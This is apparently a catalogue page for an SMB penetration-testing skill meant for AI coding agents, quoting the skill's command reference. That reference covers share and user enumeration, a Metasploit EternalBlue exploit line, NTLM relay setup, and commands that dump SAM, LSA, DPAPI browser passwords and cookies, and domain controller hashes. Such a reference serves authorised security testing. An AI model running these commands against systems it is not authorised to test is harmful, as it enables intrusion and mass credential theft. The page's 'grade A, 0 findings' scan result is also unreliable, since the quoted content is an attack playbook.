svc-smb

A reference for testing SMB, the Windows file- and printer-sharing protocol, and related network services. It covers shared folders, anonymous access, user discovery, signing, known Windows flaws, and relay risks.

In plain words
What is it for?
Listing shares and users, checking guest or anonymous access, reviewing SMB versions and signing, and assessing known vulnerabilities and relay conditions.
Why use it?
It helps reveal whether shared resources or Windows services expose data or accept requests without proper authentication and integrity checks.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/s0ld13rr/pentestcode/smb
Any agent
npx skills add s0ld13rr/pentestcode --skill smb
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Per session 68 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 881 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00068 $0.00881
Opus 5 $0.00034 $0.00441
Sonnet 5 $0.00014 $0.00176
Haiku 4.5 $0.00007 $0.00088

Measured 2d ago against content hash 1a2df0b7e7cc, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

svc-smb scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/services/smb/SKILL.md · 90 lines

How it starts

The opening of the file, as written. The whole thing — 90 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SMB Attack Reference

Enumeration

# Full enumeration
enum4linux-ng -A <target>

# Share listing
smbclient -N -L //<target>
crackmapexec smb <target> --shares
crackmapexec smb <target> -u '' -p '' --shares          # null session
crackmapexec smb <target> -u 'guest' -p '' --shares     # guest

# User enumeration
crackmapexec smb <target> --users
rpcclient -U '' -N <target> -c 'enumdomusers'
rpcclient -U '' -N <target> -c 'enumdomgroups'

# SMB version / signing
crackmapexec smb <target>
nmap --script smb-security-mode -p 445 <target>

Null Session Access

smbclient -N //<target>/<share>
smbmap -H <target> -u '' -p ''
rpcclient -U '' -N <target>

Critical Vulnerabilities

# EternalBlue (MS17-010) — Windows 7/2008 R2/2012
nmap --script smb-vuln-ms17-010 -p 445 <target>
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS <target>; run"

# SMBGhost (CVE-2020-0796) — Windows 10 v1903/1909
nmap --script smb-vuln-cve-2020-0796 -p 445 <target>

SMB Relay

# Check if signing is NOT required (vulnerable to relay)
crackmapexec smb <target> --gen-relay-list relay_targets.txt

# Relay with ntlmrelayx
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
# Trigger auth: responder, mitm6, or coerce

Post-Auth Credential Dumping (with admin access)

# Run ALL three in order — each extracts different secrets:
netexec smb <target> -u <user> -p <pass> --sam       # local SAM hashes
netexec smb <target> -u <user> -p <pass> --lsa       # LSA secrets, cached domain creds
netexec smb <target> -u <user> -p <pass> --dpapi     # FULL DPAPI: browser passwords, vault, cookies, Credential Manager

# CRITICAL: bare --dpapi = EVERYTHING. Do NOT add subcommands (cookies/nosystem/wifi).
# Adding subcommands LIMITS output. Always use bare --dpapi first.

# On Domain Controllers:
netexec smb <dc> -u <user> -p <pass> --ntds          # ALL domain hashes

# Fallback — one-shot via impacket:
secretsdump.py <domain>/<user>:<pass>@<target>

Read the full file on GitHub · 90 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 90 lines · 68 tokens per session scan A 1a2df0b7e7cc

Subscribe to this mod's changes

svc-smb is a skill published in the GitHub repository s0ld13rr/pentestcode (594 stars, last pushed 12d ago), licensed MIT. It adds 68 tokens to every session and 881 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.